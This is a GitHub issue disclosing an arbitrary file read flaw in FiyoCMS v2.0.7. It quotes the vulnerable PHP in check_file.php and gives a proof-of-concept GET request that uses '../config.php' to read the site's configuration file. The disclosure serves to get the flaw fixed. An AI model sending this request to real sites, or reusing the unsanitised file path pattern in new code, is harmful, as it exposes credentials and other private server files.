Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

any file read vulnerability in FiyoCMS v2.0.7 #11

Open
xrmht opened this issue Dec 3, 2017 · 0 comments
Open

any file read vulnerability in FiyoCMS v2.0.7 #11

xrmht opened this issue Dec 3, 2017 · 0 comments

Comments

@xrmht
Copy link

xrmht commented Dec 3, 2017

Hi, I found an arbitrary file read vulnerability in FiyoCMS v2.0.7. It may cause the leakage of sensitive information.
files in : dapur/apps/app_theme/libs/check_file.php

require_once ('../../../system/jscore.php');
$file = $url= "$_GET[src]/$_GET[name]"; 
$furl = "../../../$url";

$content = strlen("$file") - 5;
$content = substr("$file",$content);
$file = strpos("$content",".");
$file = substr("$content",$file+1);

if($file == "html" || $file == "htm" || $file == "xhtml" || $file == "js" ||
$file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :
	$content = @file_get_contents($furl);
	$content = htmlentities($content);

?>
//
<textarea id="text" name="content" class="scrolling text-theme" style="width:100%; max-width:100%; height: 500px;" ><?php echo $content; ?></textarea>

It can be noticed that $ file is spliced by $ _GET [src] and $ _GET [name] 。 parameter $file were taken directly into the file_get_contents。 the result was echo directly。
poc:

GET /www/cve/FiyoCMS-1669403ec38e3f100d17786e06bc33c94152fcf3/dapur/apps/app_theme/libs/check_file.php?src=/&name=../config.php HTTP/1.1
Host: 127.0.0.1
Accept: */*
X-Requested-With: XMLH1ttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36
Referer: http://127.0.0.1/www/cve/FiyoCMS-1669403ec38e3f100d17786e06bc33c94152fcf3/dapur/?app=theme&folder=../&type=files
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close


qq 20171203224554
I hope you can fix it as soon as possible,if there are any questions, please send me the details to my email at xm001test@gmail.com

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant